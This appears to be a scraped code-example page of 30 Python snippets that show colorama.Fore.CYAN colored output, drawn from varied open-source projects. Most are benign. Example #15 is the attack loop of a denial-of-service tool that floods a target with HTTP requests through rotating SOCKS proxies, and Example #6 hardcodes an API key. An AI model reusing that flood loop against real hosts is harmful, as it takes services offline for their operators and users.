Python colorama.Fore.CYAN Examples

The following are 30 code examples of colorama.Fore.CYAN(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module colorama.Fore , or try the search function .
Example #1
Source File: supersede_command.py    From openSUSE-release-tools with GNU General Public License v2.0 7 votes vote down vote up
def perform(self, requests=None):
        for stage_info, code, request in self.api.dispatch_open_requests(requests):
            action = request.find('action')
            target_package = action.find('target').get('package')
            if code == 'unstage':
                # Technically, the new request has not been staged, but superseded the old one.
                code = None
            verbage = self.CODE_MAP[code]
            if code is not None:
                verbage += ' in favor of'
            print('request {} for {} {} {} in {}'.format(
                request.get('id'),
                Fore.CYAN + target_package + Fore.RESET,
                verbage,
                stage_info['rq_id'],
                Fore.YELLOW + stage_info['prj'] + Fore.RESET)) 
Example #2
Source File: login.py    From maubot with GNU Affero General Public License v3.0 7 votes vote down vote up
def login(server, username, password, alias) -> None:
    data = {
        "username": username,
        "password": password,
    }
    try:
        with urlopen(f"{server}/_matrix/maubot/v1/auth/login",
                     data=json.dumps(data).encode("utf-8")) as resp_data:
            resp = json.load(resp_data)
            config["servers"][server] = resp["token"]
            if not config["default_server"]:
                print(Fore.CYAN, "Setting", server, "as the default server")
                config["default_server"] = server
            if alias:
                config["aliases"][alias] = server
            save_config()
            print(Fore.GREEN + "Logged in successfully")
    except HTTPError as e:
        try:
            err = json.load(e)
        except json.JSONDecodeError:
            err = {}
        print(Fore.RED + err.get("error", str(e)) + Fore.RESET) 
Example #3
Source File: subzone.py    From SubZone with MIT License 6 votes vote down vote up
def nslookup(self):
		global nameservers
		#nslookup to find nameservers of target domain
		dns_white = Fore.RED+Back.BLACK+str('Dns records')
		sec_bit = Fore.GREEN+Back.BLACK+str('for this domain.\n')
		print(Fore.GREEN+Back.BLACK+str('\n\n\n{!} %s %s' % (dns_white, sec_bit)))
		line = Fore.CYAN+Back.BLACK+str('************************************************************')
		records = Fore.GREEN+Back.BLACK+str('DNS RECORDS:green')
		print('%s\n%s\n%s\n' % (line, records, line))
		try:
			with open('nslookup.txt','w') as output_vale:
				cmd = subprocess.call(f'nslookup -type=ns {self.domain}', stdout=output_vale)
			with open('nslookup.txt','r') as ns2:
				for line in ns2.readlines():
					if 'nameserver' in line:
						line = line.split(' ')[2]
						nameservers.append(line)

			os.remove('nslookup.txt')
			#print(nameservers)
		except Exception as e:
			#print(e)
			pass
		return nameservers 
Example #4
Source File: release.py    From pytest with MIT License 6 votes vote down vote up
def pre_release(version, *, skip_check_links):
    """Generates new docs, release announcements and creates a local tag."""
    announce(version)
    regen()
    changelog(version, write_out=True)
    fix_formatting()
    if not skip_check_links:
        check_links()

    msg = "Preparing release version {}".format(version)
    check_call(["git", "commit", "-a", "-m", msg])

    print()
    print(f"{Fore.CYAN}[generate.pre_release] {Fore.GREEN}All done!")
    print()
    print("Please push your branch and open a PR.") 
Example #5
Source File: dns_lookup.py    From Jarvis with MIT License 6 votes vote down vote up
def dns_lookup(jarvis, s, txt, func):
    while True:
        request = str(jarvis.input("Please input a " + txt + ": "))
        try:
            if txt == 'ip':
                jarvis.say("The hostname for that IP address is: " +
                           func(request), Fore.CYAN)
                return
            else:
                jarvis.say("The IP address for that hostname is: " +
                           func(request), Fore.CYAN)
                return
        except Exception as e:
            jarvis.say(str(e), Fore.RED)
            jarvis.say("Please make sure you are inputing a valid " + txt)
            try_again = jarvis.input("Do you want to try again (y/n): ")
            try_again = try_again.lower()
            if try_again != 'y':
                return 
Example #6
Source File: umbrella.py    From Jarvis with MIT License 6 votes vote down vote up
def main(city=0):
    send_url = (
        "http://api.openweathermap.org/data/2.5/forecast/daily?q={0}&cnt=1"
        "&APPID=ab6ec687d641ced80cc0c935f9dd8ac9&units=metric".format(city)
    )
    r = requests.get(send_url)
    j = json.loads(r.text)
    rain = j['list'][0]['weather'][0]['id']
    if rain >= 300 and rain <= 500:  # In case of drizzle or light rain
        print(
            Fore.CYAN
            + "It appears that you might need an umbrella today."
            + Fore.RESET)
    elif rain > 700:
        print(
            Fore.CYAN
            + "Good news! You can leave your umbrella at home for today!"
            + Fore.RESET)
    else:
        print(
            Fore.CYAN
            + "Uhh, bad luck! If you go outside, take your umbrella with you."
            + Fore.RESET) 
Example #7
Source File: simpleStream.py    From alpaca-trade-api-python with Apache License 2.0 6 votes vote down vote up
def on_minute(conn, channel, bar):
    symbol = bar.symbol
    close = bar.close

    try:
        percent = (close - bar.dailyopen)/close  * 100
        up = 1 if bar.open > bar.dailyopen else -1
    except:  # noqa
        percent = 0
        up = 0

    if up > 0:
        bar_color = f'{Style.BRIGHT}{Fore.CYAN}'
    elif up < 0:
        bar_color = f'{Style.BRIGHT}{Fore.RED}'
    else:
        bar_color = f'{Style.BRIGHT}{Fore.WHITE}'

    print(f'{channel:<6s} {ms2date(bar.end)}  {bar.symbol:<10s} '
          f'{percent:>8.2f}% {bar.open:>8.2f} {bar.close:>8.2f} '
          f' {bar.volume:<10d}'
          f'  {(Fore.GREEN+"above VWAP") if close > bar.vwap else (Fore.RED+"below VWAP")}') 
Example #8
Source File: akinator.py    From Jarvis with MIT License 6 votes vote down vote up
def akinator_main(jarvis, s):

    opening_message(jarvis)
    jarvis.say('Press "g" to start, or "q" to quit !')
    while True:
        user_in = jarvis.input()
        if user_in == 'q':
            jarvis.say("See you next time :D", Fore.CYAN)
            break
        elif user_in == 'g':
            main_game(jarvis)
            break
        else:
            jarvis.say('Press "g" to start, or "q" to quit !')


# Helper methods 
Example #9
Source File: supersede_command.py    From openSUSE-release-tools with GNU General Public License v2.0 6 votes vote down vote up
def perform(self, requests=None):
        for stage_info, code, request in self.api.dispatch_open_requests(requests):
            action = request.find('action')
            target_package = action.find('target').get('package')
            if code == 'unstage':
                # Technically, the new request has not been staged, but superseded the old one.
                code = None
            verbage = self.CODE_MAP[code]
            if code is not None:
                verbage += ' in favor of'
            print('request {} for {} {} {} in {}'.format(
                request.get('id'),
                Fore.CYAN + target_package + Fore.RESET,
                verbage,
                stage_info['rq_id'],
                Fore.YELLOW + stage_info['prj'] + Fore.RESET)) 
Example #10
Source File: cloudfail.py    From CloudFail with MIT License 6 votes vote down vote up
def crimeflare(target):
    print_out(Fore.CYAN + "Scanning crimeflare database...")

    with open("data/ipout", "r") as ins:
        crimeFoundArray = []
        for line in ins:
            lineExploded = line.split(" ")
            if lineExploded[1] == args.target:
                crimeFoundArray.append(lineExploded[2])
            else:
                continue
    if (len(crimeFoundArray) != 0):
        for foundIp in crimeFoundArray:
            print_out(Style.BRIGHT + Fore.WHITE + "[FOUND:IP] " + Fore.GREEN + "" + foundIp.strip())
    else:
        print_out("Did not find anything.") 
Example #11
Source File: build.py    From maubot with GNU Affero General Public License v3.0 6 votes vote down vote up
def build(path: str, output: str, upload: bool, server: str) -> None:
    meta = read_meta(path)
    if not meta:
        return
    if output or not upload:
        output = read_output_path(output, meta)
        if not output:
            return
    else:
        output = BytesIO()
    os.chdir(path)
    write_plugin(meta, output)
    if isinstance(output, str):
        print(f"{Fore.GREEN}Plugin built to {Fore.CYAN}{output}{Fore.GREEN}.{Fore.RESET}")
    else:
        output.seek(0)
    if upload:
        upload_plugin(output, server) 
Example #12
Source File: ginnoptimizer.py    From galera_innoptimizer with GNU General Public License v2.0 6 votes vote down vote up
def print_color(mtype, message=''):
    """@todo: Docstring for print_text.

    :mtype: set if message is 'ok', 'updated', '+', 'fail' or 'sub'
    :type mtype: str
    :message: the message to be shown to the user
    :type message: str

    """

    init(autoreset=False)
    if (mtype == 'ok'):
        print(Fore.GREEN + 'OK' + Fore.RESET + message)
    elif (mtype == '+'):
        print('[+] ' + message + '...'),
    elif (mtype == 'fail'):
        print(Fore.RED + "\n[!]" + message)
    elif (mtype == 'sub'):
        print(('  -> ' + message).ljust(65, '.')),
    elif (mtype == 'subsub'):
        print("\n    -> " + message + '...'),
    elif (mtype == 'up'):
        print(Fore.CYAN + 'UPDATED') 
Example #13
Source File: cloudfail.py    From CloudFail with MIT License 6 votes vote down vote up
def update():
    print_out(Fore.CYAN + "Just checking for updates, please wait...")
    print_out(Fore.CYAN + "Updating CloudFlare subnet...")
    if(args.tor == False):
        headers = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11'}
        r = requests.get("https://www.cloudflare.com/ips-v4", headers=headers, cookies={'__cfduid': "d7c6a0ce9257406ea38be0156aa1ea7a21490639772"}, stream=True)
        with open('data/cf-subnet.txt', 'wb') as fd:
            for chunk in r.iter_content(4000):
                fd.write(chunk)
    else:
        print_out(Fore.RED + Style.BRIGHT+"Unable to fetch CloudFlare subnet while TOR is active")
    print_out(Fore.CYAN + "Updating Crimeflare database...")
    r = requests.get("http://crimeflare.net:83/domains/ipout.zip", stream=True)
    with open('data/ipout.zip', 'wb') as fd:
        for chunk in r.iter_content(4000):
            fd.write(chunk)
    zip_ref = zipfile.ZipFile("data/ipout.zip", 'r')
    zip_ref.extractall("data/")
    zip_ref.close()
    os.remove("data/ipout.zip")


# END FUNCTIONS 
Example #14
Source File: ProxyTool.py    From ProxHTTPSProxyMII with MIT License 6 votes vote down vote up
def tunnel_traffic(self):
        "Tunnel traffic to remote host:port"
        logger.info("%03d " % self.reqNum + Fore.CYAN + '[D] SSL Pass-Thru: https://%s/' % self.path)
        server_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            server_conn.connect((self.host, int(self.port)))
            self.wfile.write(("HTTP/1.1 200 Connection established\r\n" +
                              "Proxy-agent: %s\r\n" % self.version_string() +
                              "\r\n").encode('ascii'))
            read_write(self.connection, server_conn)
        except TimeoutError:
            self.wfile.write(b"HTTP/1.1 504 Gateway Timeout\r\n\r\n")
            logger.warning("%03d " % self.reqNum + Fore.YELLOW + 'Timed Out: https://%s:%s/' % (self.host, self.port))
        except socket.gaierror as e:
            self.wfile.write(b"HTTP/1.1 503 Service Unavailable\r\n\r\n")
            logger.warning("%03d " % self.reqNum + Fore.YELLOW + '%s: https://%s:%s/' % (e, self.host, self.port))
        finally:
            # We don't maintain a connection reuse pool, so close the connection anyway
            server_conn.close() 
Example #15
Source File: collapsar.py    From Collapsar with MIT License 6 votes vote down vote up
def atk(): #Socks Sent Requests
	ua = random.choice(useragent)
	request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
	proxy = random.choice(lsts).strip().split(":")
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
	time.sleep(5)
	while True:
		try:
			s = socks.socksocket()
			s.connect((str(url), int(port)))
			if str(port) =='443':
				s = ssl.wrap_socket(s)
			s.send(str.encode(request))
			print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			try:
				for y in range(per):
					s.send(str.encode(request))
				print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			except:
				s.close()
		except:
			s.close() 
Example #16
Source File: colors.py    From chepy with GNU General Public License v3.0 6 votes vote down vote up
def cyan(s: str) -> str:  # pragma: no cover
    """Cyan color string if tty
    
    Args:
        s (str): String to color
    
    Returns:
        str: Colored string

    Examples:
        >>> from chepy.modules.internal.colors import cyan
        >>> print(CYAN("some string"))
    """
    if sys.stdout.isatty():
        return Fore.CYAN + s + Fore.RESET
    else:
        return s 
Example #17
Source File: interfaces.py    From BoopSuite with MIT License 5 votes vote down vote up
def interface_command(interface, verbose):
    faces = pyw.winterfaces() if interface == "all" else [interface]
    for face in faces:
        if face not in pyw.winterfaces():
            sys.exit(f"{face} is not an interface")

    print(f"{Fore.GREEN}Interfaces:{Fore.YELLOW}")
    for interface in faces:
        face = pyw.getcard(interface)
        up = Fore.YELLOW if pyw.isup(face) else Fore.RED

        print(f"  {up}{interface:<10} {Style.RESET_ALL}")
        if verbose >= 1:
            iinfo = pyw.ifinfo(face)
            for i in iinfo:
                print(
                    f"\t{i.title():<15} {Fore.CYAN}{iinfo[i]}{Style.RESET_ALL}"
                )
        if verbose >= 2:
            dinfo = pyw.devinfo(face)
            for d in dinfo:
                print(
                    f"\t{d.title():<15} {Fore.CYAN}{dinfo[d]}{Style.RESET_ALL}"
                )

        if verbose >= 3:
            pinfo = pyw.phyinfo(face)
            for p in pinfo:
                if type(pinfo[p]) == list:
                    print(
                        f"\t{p.title():<15} {Fore.CYAN}{', '.join(pinfo[p])}{Style.RESET_ALL}"
                    )
                elif p == "bands":
                    print(
                        f"\t{p.title():<15} {Fore.CYAN}{', '.join(pinfo[p].keys())}{Style.RESET_ALL}"
                    ) 
Example #18
Source File: ripper.py    From spotify-ripper with MIT License 5 votes vote down vote up
def prepare_rip(self, track):
        print(Fore.GREEN + "Ripping " + track.link.uri + Fore.RESET)
        print(Fore.CYAN + self.mp3_file + Fore.RESET)
        if args.cbr:
            p = Popen(["lame", "--silent", "-cbr", "-b", args.bitrate, "-h", "-r", "-", self.mp3_file], stdin=PIPE)
        else:
            p = Popen(["lame", "--silent", "-V", args.vbr, "-h", "-r", "-", self.mp3_file], stdin=PIPE)
        self.pipe = p.stdin
        if args.pcm:
          self.pcm_file = open(self.mp3_file[:-4] + ".pcm", 'w')
        self.ripping = True 
Example #19
Source File: Pocket.py    From WebPocket with GNU General Public License v3.0 5 votes vote down vote up
def _print_modules(self, modules, title):
        self.poutput(title, "\n\n", color=Fore.CYAN)
        self.poutput(tabulate(modules, headers=('module_name', 'check', 'disclosure_date', 'description')), '\n\n') 
Example #20
Source File: onsets_frames_transcription_realtime.py    From magenta with Apache License 2.0 5 votes vote down vote up
def result_collector(result_queue):
  """Collect and display results."""

  def notename(n, space):
    if space:
      return [' ', '  ', ' ', ' ', '  ', ' ', '  ', ' ', ' ', '  ', ' ',
              '  '][n % 12]
    return [
        Fore.BLUE + 'A' + Style.RESET_ALL,
        Fore.LIGHTBLUE_EX + 'A#' + Style.RESET_ALL,
        Fore.GREEN + 'B' + Style.RESET_ALL,
        Fore.CYAN + 'C' + Style.RESET_ALL,
        Fore.LIGHTCYAN_EX + 'C#' + Style.RESET_ALL,
        Fore.RED + 'D' + Style.RESET_ALL,
        Fore.LIGHTRED_EX + 'D#' + Style.RESET_ALL,
        Fore.YELLOW + 'E' + Style.RESET_ALL,
        Fore.WHITE + 'F' + Style.RESET_ALL,
        Fore.LIGHTBLACK_EX + 'F#' + Style.RESET_ALL,
        Fore.MAGENTA + 'G' + Style.RESET_ALL,
        Fore.LIGHTMAGENTA_EX + 'G#' + Style.RESET_ALL,
    ][n % 12]  #+ str(n//12)

  print('Listening to results..')
  # TODO(mtyka) Ensure serial stitching of results (no guarantee that
  # the blocks come in in order but they are all timestamped)
  while True:
    result = result_queue.get()
    serial = result.audio_chunk.serial
    result_roll = result.result
    if serial > 0:
      result_roll = result_roll[4:]
    for notes in result_roll:
      for i in range(6, len(notes) - 6):
        note = notes[i]
        is_frame = note[0] > 0.0
        notestr = notename(i, not is_frame)
        print(notestr, end='')
      print('|') 
Example #21
Source File: program.py    From async-techniques-python-course with MIT License 5 votes vote down vote up
def get_title(html: str, episode_number: int) -> str:
    print(Fore.CYAN + f"Getting TITLE for episode {episode_number}", flush=True)
    soup = bs4.BeautifulSoup(html, 'html.parser')
    header = soup.select_one('h1')
    if not header:
        return "MISSING"

    return header.text.strip() 
Example #22
Source File: subzone-lin.py    From SubZone with MIT License 5 votes vote down vote up
def nslookup(self):
                global nameservers
                #nslookup to find nameservers of target domain
                dns_white = Fore.RED+Back.BLACK+str('Dns records')
                sec_bit = Fore.GREEN+Back.BLACK+str('for this domain.\n')
                print(Fore.GREEN+Back.BLACK+str('\n\n\n{!} %s %s' % (dns_white, sec_bit)))
                line = Fore.CYAN+Back.BLACK+str('************************************************************')
                records = Fore.GREEN+Back.BLACK+str('DNS RECORDS:green')
                print('%s\n%s\n%s\n' % (line, records, line))
                try:
                        with open('dig.txt','w') as output_vale:
                            cmd = subprocess.call(f'dig -t ns {self.domain}', shell=True, stdout=output_vale)
                        with open('dig.txt','r') as ns2:
                                for line in ns2.readlines():
                                        if '\tNS\t' in line:
                                                line = line.split()[4]
                                                nameservers.append(line)
                        

                        #os.remove('dig.txt')
                        #print(nameservers)
                    
                except Exception as e:
                        #print(e)
                        pass
                return nameservers 
Example #23
Source File: program.py    From async-techniques-python-course with MIT License 5 votes vote down vote up
def get_title(html: str, episode_number: int) -> str:
    print(Fore.CYAN + f"Getting TITLE for episode {episode_number}", flush=True)
    soup = bs4.BeautifulSoup(html, 'html.parser')
    header = soup.select_one('h1')
    if not header:
        return "MISSING"

    return header.text.strip() 
Example #24
Source File: release.py    From pytest with MIT License 5 votes vote down vote up
def fix_formatting():
    """Runs pre-commit in all files to ensure they are formatted correctly"""
    print(
        f"{Fore.CYAN}[generate.fix linting] {Fore.RESET}Fixing formatting using pre-commit"
    )
    call(["pre-commit", "run", "--all-files"]) 
Example #25
Source File: outputparser.py    From screeps_console with MIT License 5 votes vote down vote up
def parseLine(line):
    severity = getSeverity(line)

    # Add color based on severity
    if 'severity' not in locals():
        severity = 3

    if severity == 0:
        color = Style.DIM + Fore.WHITE
    elif severity == 1:
        color = Style.NORMAL + Fore.BLUE
    elif severity == 2:
        color = Style.NORMAL + Fore.CYAN
    elif severity == 3:
        color = Style.NORMAL + Fore.WHITE
    elif severity == 4:
        color = Style.NORMAL + Fore.RED
    elif severity == 5:
        color = Style.NORMAL + Fore.BLACK + Back.RED
    else:
        color = Style.NORMAL + Fore.BLACK + Back.YELLOW

    # Replace html tab entity with actual tabs
    line = clearTags(line)
    line = line.replace('&#09;', "\t")
    return color + line + Style.RESET_ALL 
Example #26
Source File: slipsomat.py    From alma-slipsomat with MIT License 5 votes vote down vote up
def resolve_conflict(filename, local_content, remote_content, msg):
    print()
    print(
        '\n' + Back.RED + Fore.WHITE + '\n\n  Conflict: ' + msg + '\n' + Style.RESET_ALL
    )

    msg = 'Continue with {}?'.format(filename)
    while True:
        response = input(Fore.CYAN + "%s [y: yes, n: no, d: diff] " % msg + Style.RESET_ALL).lower()[:1]
        if response == 'd':
            show_diff(remote_content, local_content)
        else:
            return response == 'y' 
Example #27
Source File: print_utils.py    From g3ar with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def print_cyan(*args):
    """"""
    raw = str(args)
    init(autoreset=True)
    print((Fore.CYAN + raw))  

#---------------------------------------------------------------------- 
Example #28
Source File: print_utils.py    From g3ar with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def print_blue(*args):
    """"""
    raw = str(args)
    init(autoreset=True)
    print((Fore.CYAN + raw))
    
#---------------------------------------------------------------------- 
Example #29
Source File: print_utils.py    From g3ar with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def print_cyan(*args):
    """"""
    raw = str(args)
    init(autoreset=True)
    print((Fore.CYAN + raw))  

#---------------------------------------------------------------------- 
Example #30
Source File: print_utils.py    From g3ar with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def print_blue(*args):
    """"""
    raw = str(args)
    init(autoreset=True)
    print((Fore.CYAN + raw))
    
#----------------------------------------------------------------------